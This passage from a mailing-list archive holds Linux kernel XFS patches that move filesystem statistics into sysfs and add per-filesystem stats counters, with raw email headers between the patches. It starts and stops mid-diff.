xfs_cleanup_procfs(); diff --git a/fs/xfs/xfs_sysctl.c b/fs/xfs/xfs_sysctl.c index a0c8067..5defabb 100644 --- a/fs/xfs/xfs_sysctl.c +++ b/fs/xfs/xfs_sysctl.c @@ -19,6 +19,7 @@ #include #include #include "xfs_error.h" +#include "xfs_stats.h" static struct ctl_table_header *xfs_table_header; @@ -31,22 +32,12 @@ xfs_stats_clear_proc_handler( size_t *lenp, loff_t *ppos) { - int c, ret, *valp = ctl->data; - __uint32_t vn_active; + int ret, *valp = ctl->data; ret = proc_dointvec_minmax(ctl, write, buffer, lenp, ppos); if (!ret && write && *valp) { - xfs_notice(NULL, "Clearing xfsstats"); - for_each_possible_cpu(c) { - preempt_disable(); - /* save vn_active, it's a universal truth! */ - vn_active = per_cpu(xfsstats, c).vn_active; - memset(&per_cpu(xfsstats, c), 0, - sizeof(struct xfsstats)); - per_cpu(xfsstats, c).vn_active = vn_active; - preempt_enable(); - } + xfs_stats_clearall(); xfs_stats_clear = 0; } diff --git a/fs/xfs/xfs_sysfs.c b/fs/xfs/xfs_sysfs.c index aa03670..a094e20 100644 --- a/fs/xfs/xfs_sysfs.c +++ b/fs/xfs/xfs_sysfs.c @@ -21,6 +21,7 @@ #include "xfs_log_format.h" #include "xfs_log.h" #include "xfs_log_priv.h" +#include "xfs_stats.h" struct xfs_sysfs_attr { struct attribute attr; @@ -38,6 +39,8 @@ to_attr(struct attribute *attr) static struct xfs_sysfs_attr xfs_sysfs_attr_##name = __ATTR_RW(name) #define XFS_SYSFS_ATTR_RO(name) \ static struct xfs_sysfs_attr xfs_sysfs_attr_##name = __ATTR_RO(name) +#define XFS_SYSFS_ATTR_WO(name) \ + static struct xfs_sysfs_attr xfs_sysfs_attr_##name = __ATTR_WO(name) #define ATTR_LIST(name) &xfs_sysfs_attr_##name.attr @@ -125,6 +128,78 @@ struct kobj_type xfs_dbg_ktype = { #endif /* DEBUG */ + +/* stats */ + +STATIC ssize_t +stats_show( + char *buf, + void *data) +{ + return xfs_stats_format(buf); +} +XFS_SYSFS_ATTR_RO(stats); + +STATIC ssize_t +stats_clear_store( + const char *buf, + size_t count, + void *data) +{ + int ret; + int val; + + ret = kstrtoint(buf, 0, &val); + if (ret) + return ret; + + if (val != 1) + return -EINVAL; + xfs_stats_clearall(); + return count; +} +XFS_SYSFS_ATTR_WO(stats_clear); + +static struct attribute *xfs_stats_attrs[] = { + ATTR_LIST(stats), + ATTR_LIST(stats_clear), + NULL, +}; + +STATIC ssize_t +xfs_stats_show( + struct kobject *kobject, + struct attribute *attr, + char *buf) +{ + struct xfs_sysfs_attr *xfs_attr = to_attr(attr); + + return xfs_attr->show ? xfs_attr->show(buf, NULL) : 0; +} + +STATIC ssize_t +xfs_stats_store( + struct kobject *kobject, + struct attribute *attr, + const char *buf, + size_t count) +{ + struct xfs_sysfs_attr *xfs_attr = to_attr(attr); + + return xfs_attr->store ? xfs_attr->store(buf, count, NULL) : 0; +} + +static struct sysfs_ops xfs_stats_ops = { + .show = xfs_stats_show, + .store = xfs_stats_store, +}; + +struct kobj_type xfs_stats_ktype = { + .release = xfs_sysfs_release, + .sysfs_ops = &xfs_stats_ops, + .default_attrs = xfs_stats_attrs, +}; + /* xlog */ STATIC ssize_t diff --git a/fs/xfs/xfs_sysfs.h b/fs/xfs/xfs_sysfs.h index 240eee3..be692e5 100644 --- a/fs/xfs/xfs_sysfs.h +++ b/fs/xfs/xfs_sysfs.h @@ -22,6 +22,7 @@ extern struct kobj_type xfs_mp_ktype; /* xfs_mount */ extern struct kobj_type xfs_dbg_ktype; /* debug */ extern struct kobj_type xfs_log_ktype; /* xlog */ +extern struct kobj_type xfs_stats_ktype; /* stats */ static inline struct xfs_kobj * to_kobj(struct kobject *kobject) -- 2.4.3 From billodo@redhat.com Fri Oct 2 11:23:02 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C73F929DFA for ; Fri, 2 Oct 2015 11:23:01 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 376DBAC022 for ; Fri, 2 Oct 2015 09:23:01 -0700 (PDT) X-ASG-Debug-ID: 1443802979-04cb6c6b061a9330001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id n9rkRA5Cxzd6K6nL (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 09:22:59 -0700 (PDT) X-Barracuda-Envelope-From: billodo@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id 0926D461E2 for ; Fri, 2 Oct 2015 16:22:59 +0000 (UTC) Received: from localhost.localdomain.com (vpn-48-121.rdu2.redhat.com [10.10.48.121]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92GMqqC005602 for ; Fri, 2 Oct 2015 12:22:58 -0400 From: "Bill O'Donnell" To: xfs@oss.sgi.com Subject: [PATCH 5/7] xfs: incorporate sysfs/kobject in xfsstats: handlers take kobjects. Date: Fri, 2 Oct 2015 11:22:38 -0500 X-ASG-Orig-Subj: [PATCH 5/7] xfs: incorporate sysfs/kobject in xfsstats: handlers take kobjects. Message-Id: <1443802960-26662-6-git-send-email-billodo@redhat.com> In-Reply-To: <1443802960-26662-1-git-send-email-billodo@redhat.com> References: <1443802960-26662-1-git-send-email-billodo@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443802979 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This patch is the next step toward per-fs xfs stats. The patch makes the show and clear routines able to handle any stats structure associated with a kobject. Instead of a single global xfsstats structure, add kobject and a pointer to a per-cpu struct xfsstats. Modify the macros that manipulate the stats accordingly: XFS_STATS_INC, XFS_STATS_DEC, and XFS_STATS_ADD now access xfsstats->xs_stats. The sysfs functions need to get from the kobject back to the xfsstats structure which contains it, and pass the pointer to the ->xs_stats percpu structure into the show & clear routines. Signed-off-by: Bill O'Donnell --- fs/xfs/xfs_linux.h | 7 +++++++ fs/xfs/xfs_stats.c | 32 +++++++++++++++----------------- fs/xfs/xfs_stats.h | 22 +++++++++++----------- fs/xfs/xfs_super.c | 21 +++++++++++++++------ fs/xfs/xfs_sysctl.c | 2 +- fs/xfs/xfs_sysfs.c | 16 ++++++++++++++-- 6 files changed, 63 insertions(+), 37 deletions(-) diff --git a/fs/xfs/xfs_linux.h b/fs/xfs/xfs_linux.h index 85f883d..ec0e239 100644 --- a/fs/xfs/xfs_linux.h +++ b/fs/xfs/xfs_linux.h @@ -171,6 +171,13 @@ struct xfs_kobj { struct completion complete; }; +struct xstats { + struct xfsstats __percpu *xs_stats; + struct xfs_kobj xs_kobj; +}; + +extern struct xstats xfsstats; + /* Kernel uid/gid conversion. These are used to convert to/from the on disk * uid_t/gid_t types to the kuid_t/kgid_t types that the kernel uses internally. * The conversion here is type only, the value will remain the same since we diff --git a/fs/xfs/xfs_stats.c b/fs/xfs/xfs_stats.c index f481da0..3348b0b 100644 --- a/fs/xfs/xfs_stats.c +++ b/fs/xfs/xfs_stats.c @@ -18,18 +18,18 @@ #include "xfs.h" #include -DEFINE_PER_CPU(struct xfsstats, xfsstats); +struct xstats xfsstats; -static int counter_val(int idx) +static int counter_val(struct xfsstats __percpu *stats, int idx) { int val = 0, cpu; for_each_possible_cpu(cpu) - val += *(((__u32 *)&per_cpu(xfsstats, cpu) + idx)); + val += *(((__u32 *)per_cpu_ptr(stats, cpu) + idx)); return val; } -int xfs_stats_format(char *buf) +int xfs_stats_format(struct xfsstats __percpu *stats, char *buf) { int i, j; int len = 0; @@ -73,14 +73,14 @@ int xfs_stats_format(char *buf) /* inner loop does each group */ for (; j < xstats[i].endpoint; j++) len += snprintf(buf + len, PATH_MAX - len, " %u", - counter_val(j)); + counter_val(stats, j)); len += snprintf(buf + len, PATH_MAX - len, "\n"); } /* extra precision counters */ for_each_possible_cpu(i) { - xs_xstrat_bytes += per_cpu(xfsstats, i).xs_xstrat_bytes; - xs_write_bytes += per_cpu(xfsstats, i).xs_write_bytes; - xs_read_bytes += per_cpu(xfsstats, i).xs_read_bytes; + xs_xstrat_bytes += per_cpu_ptr(stats, i)->xs_xstrat_bytes; + xs_write_bytes += per_cpu_ptr(stats, i)->xs_write_bytes; + xs_read_bytes += per_cpu_ptr(stats, i)->xs_read_bytes; } len += snprintf(buf + len, PATH_MAX-len, "xpc %Lu %Lu %Lu\n", @@ -95,7 +95,7 @@ int xfs_stats_format(char *buf) return len; } -void xfs_stats_clearall(void) +void xfs_stats_clearall(struct xfsstats __percpu *stats) { int c; __uint32_t vn_active; @@ -104,9 +104,9 @@ void xfs_stats_clearall(void) for_each_possible_cpu(c) { preempt_disable(); /* save vn_active, it's a universal truth! */ - vn_active = per_cpu(xfsstats, c).vn_active; - memset(&per_cpu(xfsstats, c), 0, sizeof(struct xfsstats)); - per_cpu(xfsstats, c).vn_active = vn_active; + vn_active = per_cpu_ptr(stats, c)->vn_active; + memset(per_cpu_ptr(stats, c), 0, sizeof(*stats)); + per_cpu_ptr(stats, c)->vn_active = vn_active; preempt_enable(); } } @@ -117,10 +117,8 @@ static int xqm_proc_show(struct seq_file *m, void *v) { /* maximum; incore; ratio free to inuse; freelist */ seq_printf(m, "%d\t%d\t%d\t%u\n", - 0, - counter_val(XFSSTAT_END_XQMSTAT), - 0, - counter_val(XFSSTAT_END_XQMSTAT + 1)); + 0, counter_val(xfsstats.xs_stats, XFSSTAT_END_XQMSTAT), + 0, counter_val(xfsstats.xs_stats, XFSSTAT_END_XQMSTAT + 1)); return 0; } @@ -144,7 +142,7 @@ static int xqmstat_proc_show(struct seq_file *m, void *v) seq_printf(m, "qm"); for (j = XFSSTAT_END_IBT_V2; j < XFSSTAT_END_XQMSTAT; j++) - seq_printf(m, " %u", counter_val(j)); + seq_printf(m, " %u", counter_val(xfsstats.xs_stats, j)); seq_putc(m, '\n'); return 0; } diff --git a/fs/xfs/xfs_stats.h b/fs/xfs/xfs_stats.h index 18807b5..54f2260 100644 --- a/fs/xfs/xfs_stats.h +++ b/fs/xfs/xfs_stats.h @@ -18,9 +18,6 @@ #ifndef __XFS_STATS_H__ #define __XFS_STATS_H__ -int xfs_stats_format(char *buf); -void xfs_stats_clearall(void); - #if defined(CONFIG_PROC_FS) && !defined(XFS_STATS_OFF) #include @@ -217,15 +214,18 @@ struct xfsstats { __uint64_t xs_read_bytes; }; -DECLARE_PER_CPU(struct xfsstats, xfsstats); +int xfs_stats_format(struct xfsstats __percpu *stats, char *buf); +void xfs_stats_clearall(struct xfsstats __percpu *stats); +extern struct xstats xfsstats; -/* - * We don't disable preempt, not too worried about poking the - * wrong CPU's stat for now (also aggregated before reporting). - */ -#define XFS_STATS_INC(v) (per_cpu(xfsstats, current_cpu()).v++) -#define XFS_STATS_DEC(v) (per_cpu(xfsstats, current_cpu()).v--) -#define XFS_STATS_ADD(v, inc) (per_cpu(xfsstats, current_cpu()).v += (inc)) +#define XFS_STATS_INC(v) \ + (per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v++) + +#define XFS_STATS_DEC(v) \ + (per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v--) + +#define XFS_STATS_ADD(v, inc) \ + (per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v += (inc)) extern int xfs_init_procfs(void); extern void xfs_cleanup_procfs(void); diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index 0dfc53b..e1a35a5 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -61,7 +61,6 @@ static kmem_zone_t *xfs_ioend_zone; mempool_t *xfs_ioend_pool; static struct kset *xfs_kset; /* top-level xfs sysfs dir */ -static struct xfs_kobj xfs_stats_kobj; /* global stats sysfs attrs */ #ifdef DEBUG static struct xfs_kobj xfs_dbg_kobj; /* global debug sysfs attrs */ #endif @@ -1842,11 +1841,18 @@ init_xfs_fs(void) goto out_sysctl_unregister; } - xfs_stats_kobj.kobject.kset = xfs_kset; - error = xfs_sysfs_init(&xfs_stats_kobj, &xfs_stats_ktype, NULL, + xfsstats.xs_kobj.kobject.kset = xfs_kset; + + xfsstats.xs_stats = alloc_percpu(struct xfsstats); + if (!xfsstats.xs_stats) { + error = -ENOMEM; + goto out_kset_unregister; + } + + error = xfs_sysfs_init(&xfsstats.xs_kobj, &xfs_stats_ktype, NULL, "stats"); if (error) - goto out_kset_unregister; + goto out_free_stats; #ifdef DEBUG xfs_dbg_kobj.kobject.kset = xfs_kset; @@ -1871,7 +1877,9 @@ init_xfs_fs(void) xfs_sysfs_del(&xfs_dbg_kobj); out_remove_stats_kobj: #endif - xfs_sysfs_del(&xfs_stats_kobj); + xfs_sysfs_del(&xfsstats.xs_kobj); + out_free_stats: + free_percpu(xfsstats.xs_stats); out_kset_unregister: kset_unregister(xfs_kset); out_sysctl_unregister: @@ -1898,7 +1906,8 @@ exit_xfs_fs(void) #ifdef DEBUG xfs_sysfs_del(&xfs_dbg_kobj); #endif - xfs_sysfs_del(&xfs_stats_kobj); + xfs_sysfs_del(&xfsstats.xs_kobj); + free_percpu(xfsstats.xs_stats); kset_unregister(xfs_kset); xfs_sysctl_unregister(); xfs_cleanup_procfs(); diff --git a/fs/xfs/xfs_sysctl.c b/fs/xfs/xfs_sysctl.c index 5defabb..aed74d3 100644 --- a/fs/xfs/xfs_sysctl.c +++ b/fs/xfs/xfs_sysctl.c @@ -37,7 +37,7 @@ xfs_stats_clear_proc_handler( ret = proc_dointvec_minmax(ctl, write, buffer, lenp, ppos); if (!ret && write && *valp) { - xfs_stats_clearall(); + xfs_stats_clearall(xfsstats.xs_stats); xfs_stats_clear = 0; } diff --git a/fs/xfs/xfs_sysfs.c b/fs/xfs/xfs_sysfs.c index fa3dc66..ee70f5d 100644 --- a/fs/xfs/xfs_sysfs.c +++ b/fs/xfs/xfs_sysfs.c @@ -131,12 +131,22 @@ struct kobj_type xfs_dbg_ktype = { /* stats */ +static inline struct xstats * +to_xstats(struct kobject *kobject) +{ + struct xfs_kobj *kobj = to_kobj(kobject); + + return container_of(kobj, struct xstats, xs_kobj); +} + STATIC ssize_t stats_show( struct kobject *kobject, char *buf) { - return xfs_stats_format(buf); + struct xstats *stats = to_xstats(kobject); + + return xfs_stats_format(stats->xs_stats, buf); } XFS_SYSFS_ATTR_RO(stats); @@ -148,6 +158,7 @@ stats_clear_store( { int ret; int val; + struct xstats *stats = to_xstats(kobject); ret = kstrtoint(buf, 0, &val); if (ret) @@ -155,7 +166,8 @@ stats_clear_store( if (val != 1) return -EINVAL; - xfs_stats_clearall(); + + xfs_stats_clearall(stats->xs_stats); return count; } XFS_SYSFS_ATTR_WO(stats_clear); -- 2.4.3 From billodo@redhat.com Fri Oct 2 11:23:04 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9111129E0E for ; Fri, 2 Oct 2015 11:23:04 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 582158F8035 for ; Fri, 2 Oct 2015 09:23:01 -0700 (PDT) X-ASG-Debug-ID: 1443802980-04bdf046261b86c0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id aYA2y1izCBRxCjrS (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 09:23:00 -0700 (PDT) X-Barracuda-Envelope-From: billodo@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id 023C6A8D for ; Fri, 2 Oct 2015 16:22:59 +0000 (UTC) Received: from localhost.localdomain.com (vpn-48-121.rdu2.redhat.com [10.10.48.121]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92GMqqD005602 for ; Fri, 2 Oct 2015 12:22:59 -0400 From: "Bill O'Donnell" To: xfs@oss.sgi.com Subject: [PATCH 6/7] xfs: per-filesystem stats in sysfs. Date: Fri, 2 Oct 2015 11:22:39 -0500 X-ASG-Orig-Subj: [PATCH 6/7] xfs: per-filesystem stats in sysfs. Message-Id: <1443802960-26662-7-git-send-email-billodo@redhat.com> In-Reply-To: <1443802960-26662-1-git-send-email-billodo@redhat.com> References: <1443802960-26662-1-git-send-email-billodo@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443802980 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This patch implements per-filesystem stats objects in sysfs. It depends on the application of the previous patch series that develops the infrastructure to support both xfs global stats and xfs per-fs stats in sysfs. Stats objects are instantiated when an xfs filesystem is mounted and deleted on unmount. With this patch, the stats directory is created and populated with the familiar stats and stats_clear files. Example: /sys/fs/xfs/sda9/stats/stats /sys/fs/xfs/sda9/stats/stats_clear With this patch, the individual counts within the new per-fs stats file(s) remain at zero. Functions that use the the macros to increment, decrement, and add-to the per-fs stats counts will be covered in a separate new patch to follow this one. Note that the counts within the global stats file (/sys/fs/xfs/stats/stats) advance normally and can be cleared as it was prior to this patch. Signed-off-by: Bill O'Donnell --- fs/xfs/xfs_mount.c | 24 +++++++++++++++++++++++- fs/xfs/xfs_mount.h | 1 + 2 files changed, 24 insertions(+), 1 deletion(-) diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index bf92e0c..89ac1bd 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -693,9 +693,23 @@ xfs_mountfs( if (error) goto out; + /* + * Allocate stats memory and create stats sysfs object. + */ + mp->m_stats.xs_stats = alloc_percpu(struct xfsstats); + if (!mp->m_stats.xs_stats) { + error = PTR_ERR(mp->m_stats.xs_stats); + goto out_remove_sysfs; + } + error = xfs_sysfs_init(&mp->m_stats.xs_kobj, &xfs_stats_ktype, + &mp->m_kobj, + "stats"); + if (error) + goto out_free_stats; + error = xfs_uuid_mount(mp); if (error) - goto out_remove_sysfs; + goto out_del_stats; /* * Set the minimum read and write sizes @@ -971,6 +985,10 @@ xfs_mountfs( xfs_da_unmount(mp); out_remove_uuid: xfs_uuid_unmount(mp); + out_del_stats: + xfs_sysfs_del(&mp->m_stats.xs_kobj); + out_free_stats: + free_percpu(mp->m_stats.xs_stats); out_remove_sysfs: xfs_sysfs_del(&mp->m_kobj); out: @@ -1047,6 +1065,10 @@ xfs_unmountfs( xfs_warn(mp, "Unable to update superblock counters. " "Freespace may not be correct on next mount."); + /* remove the stats kobject and free stats memory */ + xfs_sysfs_del(&mp->m_stats.xs_kobj); + free_percpu(mp->m_stats.xs_stats); + xfs_log_unmount(mp); xfs_da_unmount(mp); xfs_uuid_unmount(mp); diff --git a/fs/xfs/xfs_mount.h b/fs/xfs/xfs_mount.h index 7999e91..8795272 100644 --- a/fs/xfs/xfs_mount.h +++ b/fs/xfs/xfs_mount.h @@ -127,6 +127,7 @@ typedef struct xfs_mount { int64_t m_low_space[XFS_LOWSP_MAX]; /* low free space thresholds */ struct xfs_kobj m_kobj; + struct xstats m_stats; /* per-fs stats */ struct workqueue_struct *m_buf_workqueue; struct workqueue_struct *m_data_workqueue; -- 2.4.3 From billodo@redhat.com Fri Oct 2 11:23:04 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 89C5F29E0C for ; Fri, 2 Oct 2015 11:23:04 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2DD67304043 for ; Fri, 2 Oct 2015 09:23:04 -0700 (PDT) X-ASG-Debug-ID: 1443802980-04bdf046221b86c0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id nmRQjCYZ47mwYOk2 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 09:23:00 -0700 (PDT) X-Barracuda-Envelope-From: billodo@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id 8EBC591E8F for ; Fri, 2 Oct 2015 16:23:00 +0000 (UTC) Received: from localhost.localdomain.com (vpn-48-121.rdu2.redhat.com [10.10.48.121]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92GMqqE005602 for ; Fri, 2 Oct 2015 12:23:00 -0400 From: "Bill O'Donnell" To: xfs@oss.sgi.com Subject: [PATCH 7/7] xfs: per-filesystem stats counter implementation Date: Fri, 2 Oct 2015 11:22:40 -0500 X-ASG-Orig-Subj: [PATCH 7/7] xfs: per-filesystem stats counter implementation Message-Id: <1443802960-26662-8-git-send-email-billodo@redhat.com> In-Reply-To: <1443802960-26662-1-git-send-email-billodo@redhat.com> References: <1443802960-26662-1-git-send-email-billodo@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443802980 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com This patch modifies the stats counting macros and the callers to those macros to properly increment, decrement, and add-to the xfs stats counts. The counts for global and per-fs stats are correctly advanced, and cleared by writing a "1" to the corresponding clear file. global counts: /sys/fs/xfs/stats/stats per-fs counts: /sys/fs/xfs/sda*/stats/stats global clear: /sys/fs/xfs/stats/stats_clear per-fs clear: /sys/fs/xfs/sda*/stats/stats_clear Signed-off-by: Bill O'Donnell --- fs/xfs/libxfs/xfs_alloc.c | 8 ++++---- fs/xfs/libxfs/xfs_attr.c | 6 +++--- fs/xfs/libxfs/xfs_bmap.c | 20 ++++++++++---------- fs/xfs/libxfs/xfs_btree.h | 34 ++++++++++++++++++---------------- fs/xfs/libxfs/xfs_dir2.c | 6 +++--- fs/xfs/xfs_attr_list.c | 2 +- fs/xfs/xfs_buf.c | 18 +++++++++--------- fs/xfs/xfs_dir2_readdir.c | 2 +- fs/xfs/xfs_dquot.c | 12 ++++++------ fs/xfs/xfs_file.c | 12 ++++++------ fs/xfs/xfs_icache.c | 18 +++++++++--------- fs/xfs/xfs_inode.c | 6 +++--- fs/xfs/xfs_ioctl.c | 2 +- fs/xfs/xfs_iomap.c | 4 ++-- fs/xfs/xfs_iops.c | 4 ++-- fs/xfs/xfs_log.c | 22 +++++++++++----------- fs/xfs/xfs_qm.c | 14 +++++++------- fs/xfs/xfs_stats.h | 21 +++++++++++++++------ fs/xfs/xfs_super.c | 6 +++--- fs/xfs/xfs_trans.c | 6 +++--- fs/xfs/xfs_trans_ail.c | 12 ++++++------ 21 files changed, 123 insertions(+), 112 deletions(-) diff --git a/fs/xfs/libxfs/xfs_alloc.c b/fs/xfs/libxfs/xfs_alloc.c index ffad7f2..9b5da7e3 100644 --- a/fs/xfs/libxfs/xfs_alloc.c +++ b/fs/xfs/libxfs/xfs_alloc.c @@ -651,8 +651,8 @@ xfs_alloc_ag_vextent( -((long)(args->len))); } - XFS_STATS_INC(xs_allocx); - XFS_STATS_ADD(xs_allocb, args->len); + XFS_STATS_INC(args->mp, xs_allocx); + XFS_STATS_ADD(args->mp, xs_allocb, args->len); return error; } @@ -1808,8 +1808,8 @@ xfs_free_ag_extent( if (!isfl) xfs_trans_mod_sb(tp, XFS_TRANS_SB_FDBLOCKS, (long)len); - XFS_STATS_INC(xs_freex); - XFS_STATS_ADD(xs_freeb, len); + XFS_STATS_INC(mp, xs_freex); + XFS_STATS_ADD(mp, xs_freeb, len); trace_xfs_free_extent(mp, agno, bno, len, isfl, haveleft, haveright); diff --git a/fs/xfs/libxfs/xfs_attr.c b/fs/xfs/libxfs/xfs_attr.c index ff06557..f949818 100644 --- a/fs/xfs/libxfs/xfs_attr.c +++ b/fs/xfs/libxfs/xfs_attr.c @@ -125,7 +125,7 @@ xfs_attr_get( uint lock_mode; int error; - XFS_STATS_INC(xs_attr_get); + XFS_STATS_INC(ip->i_mount, xs_attr_get); if (XFS_FORCED_SHUTDOWN(ip->i_mount)) return -EIO; @@ -209,7 +209,7 @@ xfs_attr_set( int rsvd = (flags & ATTR_ROOT) != 0; int error, err2, committed, local; - XFS_STATS_INC(xs_attr_set); + XFS_STATS_INC(mp, xs_attr_set); if (XFS_FORCED_SHUTDOWN(dp->i_mount)) return -EIO; @@ -412,7 +412,7 @@ xfs_attr_remove( xfs_fsblock_t firstblock; int error; - XFS_STATS_INC(xs_attr_remove); + XFS_STATS_INC(mp, xs_attr_remove); if (XFS_FORCED_SHUTDOWN(dp->i_mount)) return -EIO; diff --git a/fs/xfs/libxfs/xfs_bmap.c b/fs/xfs/libxfs/xfs_bmap.c index 8e2010d..5256fe5 100644 --- a/fs/xfs/libxfs/xfs_bmap.c +++ b/fs/xfs/libxfs/xfs_bmap.c @@ -1435,7 +1435,7 @@ xfs_bmap_search_extents( xfs_ifork_t *ifp; /* inode fork pointer */ xfs_bmbt_rec_host_t *ep; /* extent record pointer */ - XFS_STATS_INC(xs_look_exlist); + XFS_STATS_INC(ip->i_mount, xs_look_exlist); ifp = XFS_IFORK_PTR(ip, fork); ep = xfs_bmap_search_multi_extents(ifp, bno, eofp, lastxp, gotp, prevp); @@ -1732,7 +1732,7 @@ xfs_bmap_add_extent_delay_real( ASSERT(!bma->cur || (bma->cur->bc_private.b.flags & XFS_BTCUR_BPRV_WASDEL)); - XFS_STATS_INC(xs_add_exlist); + XFS_STATS_INC(mp, xs_add_exlist); #define LEFT r[0] #define RIGHT r[1] @@ -2286,7 +2286,7 @@ xfs_bmap_add_extent_unwritten_real( ASSERT(*idx <= ifp->if_bytes / sizeof(struct xfs_bmbt_rec)); ASSERT(!isnullstartblock(new->br_startblock)); - XFS_STATS_INC(xs_add_exlist); + XFS_STATS_INC(mp, xs_add_exlist); #define LEFT r[0] #define RIGHT r[1] @@ -2946,7 +2946,7 @@ xfs_bmap_add_extent_hole_real( ASSERT(!bma->cur || !(bma->cur->bc_private.b.flags & XFS_BTCUR_BPRV_WASDEL)); - XFS_STATS_INC(xs_add_exlist); + XFS_STATS_INC(mp, xs_add_exlist); state = 0; if (whichfork == XFS_ATTR_FORK) @@ -4036,7 +4036,7 @@ xfs_bmapi_read( if (XFS_FORCED_SHUTDOWN(mp)) return -EIO; - XFS_STATS_INC(xs_blk_mapr); + XFS_STATS_INC(mp, xs_blk_mapr); ifp = XFS_IFORK_PTR(ip, whichfork); @@ -4221,7 +4221,7 @@ xfs_bmapi_delay( if (XFS_FORCED_SHUTDOWN(mp)) return -EIO; - XFS_STATS_INC(xs_blk_mapw); + XFS_STATS_INC(mp, xs_blk_mapw); if (!(ifp->if_flags & XFS_IFEXTENTS)) { error = xfs_iread_extents(NULL, ip, XFS_DATA_FORK); @@ -4525,7 +4525,7 @@ xfs_bmapi_write( ifp = XFS_IFORK_PTR(ip, whichfork); - XFS_STATS_INC(xs_blk_mapw); + XFS_STATS_INC(mp, xs_blk_mapw); if (*firstblock == NULLFSBLOCK) { if (XFS_IFORK_FORMAT(ip, whichfork) == XFS_DINODE_FMT_BTREE) @@ -4718,12 +4718,12 @@ xfs_bmap_del_extent( xfs_filblks_t temp2; /* for indirect length calculations */ int state = 0; - XFS_STATS_INC(xs_del_exlist); + mp = ip->i_mount; + XFS_STATS_INC(mp, xs_del_exlist); if (whichfork == XFS_ATTR_FORK) state |= BMAP_ATTRFORK; - mp = ip->i_mount; ifp = XFS_IFORK_PTR(ip, whichfork); ASSERT((*idx >= 